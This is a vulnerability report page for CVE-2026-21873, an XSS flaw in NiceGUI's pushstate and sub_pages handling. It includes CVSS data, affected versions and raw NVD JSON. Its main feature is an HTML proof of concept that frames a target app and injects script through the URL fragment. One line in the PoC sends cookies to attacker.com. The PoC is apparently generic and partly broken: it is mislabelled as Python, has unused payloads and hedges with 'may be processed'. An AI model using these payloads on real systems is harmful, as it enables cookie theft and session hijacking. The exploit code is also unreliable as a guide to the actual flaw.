Security Vulnerability Report
中文
CVE-2026-21873 CVSS 7.2 HIGH

CVE-2026-21873

Published: 2026-01-08 10:15:56
Last Modified: 2026-01-15 17:45:57

Description

NiceGUI is a Python-based UI framework. From versions 2.22.0 to 3.4.1, an unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe. This issue has been patched in version 3.5.0.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:* - VULNERABLE
NiceGUI 2.22.0 至 3.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-21873: NiceGUI URL Fragment Manipulation --> <!-- This PoC demonstrates how an attacker can manipulate URL fragment identifiers --> <!DOCTYPE html> <html> <head> <title>CVE-2026-21873 PoC</title> </head> <body> <h1>CVE-2026-21873 NiceGUI URL Fragment Manipulation PoC</h1> <p>This PoC demonstrates manipulating URL fragment identifiers in NiceGUI's pushstate listener.</p> <!-- Target NiceGUI application iframe --> <iframe id="targetFrame" src="http://target-nicegui-app:8080/subpage" width="800" height="600"></iframe> <script> // Function to manipulate URL fragment identifier function manipulateFragment(maliciousFragment) { const iframe = document.getElementById('targetFrame'); const baseUrl = iframe.src.split('#')[0]; // Update iframe src with malicious fragment // This triggers the pushstate event listener in NiceGUI iframe.src = baseUrl + '#' + encodeURIComponent(maliciousFragment); console.log('Fragment manipulation triggered with:', maliciousFragment); } // Example: Inject malicious JavaScript through fragment // The pushstate listener in NiceGUI will process this const maliciousPayload = '<img src=x onerror="alert(document.cookie)"> '; // Trigger the attack setTimeout(() => { manipulateFragment(maliciousPayload); }, 2000); // Alternative: XSS payload via fragment const xssPayload = 'javascript:alert(document.domain)'; // May be processed by vulnerable handler // Another example: DOM-based manipulation const domManipulation = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; </script> <h2>Attack Scenarios:</h2> <ul> <li>1. Inject malicious scripts via URL fragment</li> <li>2. Manipulate application state through fragment</li> <li>3. Bypass security controls using iframe-based attack</li> </ul> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21873", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:55.617", "lastModified": "2026-01-15T17:45:57.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NiceGUI is a Python-based UI framework. From versions 2.22.0 to 3.4.1, an unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe. This issue has been patched in version 3.5.0."}, {"lang": "es", "value": "NiceGUI es un framework de UI basado en Python. Desde las versiones 2.22.0 hasta la 3.4.1, una implementación insegura en el oyente de eventos pushstate utilizado por ui.sub_pages permite a un atacante manipular el identificador de fragmento de la URL, lo cual pueden hacer a pesar de ser de sitio cruzado, usando un iframe. Este problema ha sido parcheado en la versión 3.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.22.0", "versionEndExcluding": "3.5.0", "matchCriteriaId": "37903F79-6269-4F0A-939A-36F3E3CC41B3"}]}]}], "references": [{"url": "https://github.com/zauberzeug/nicegui/releases/tag/v3.5.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-mhpg-c27v-6mxr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}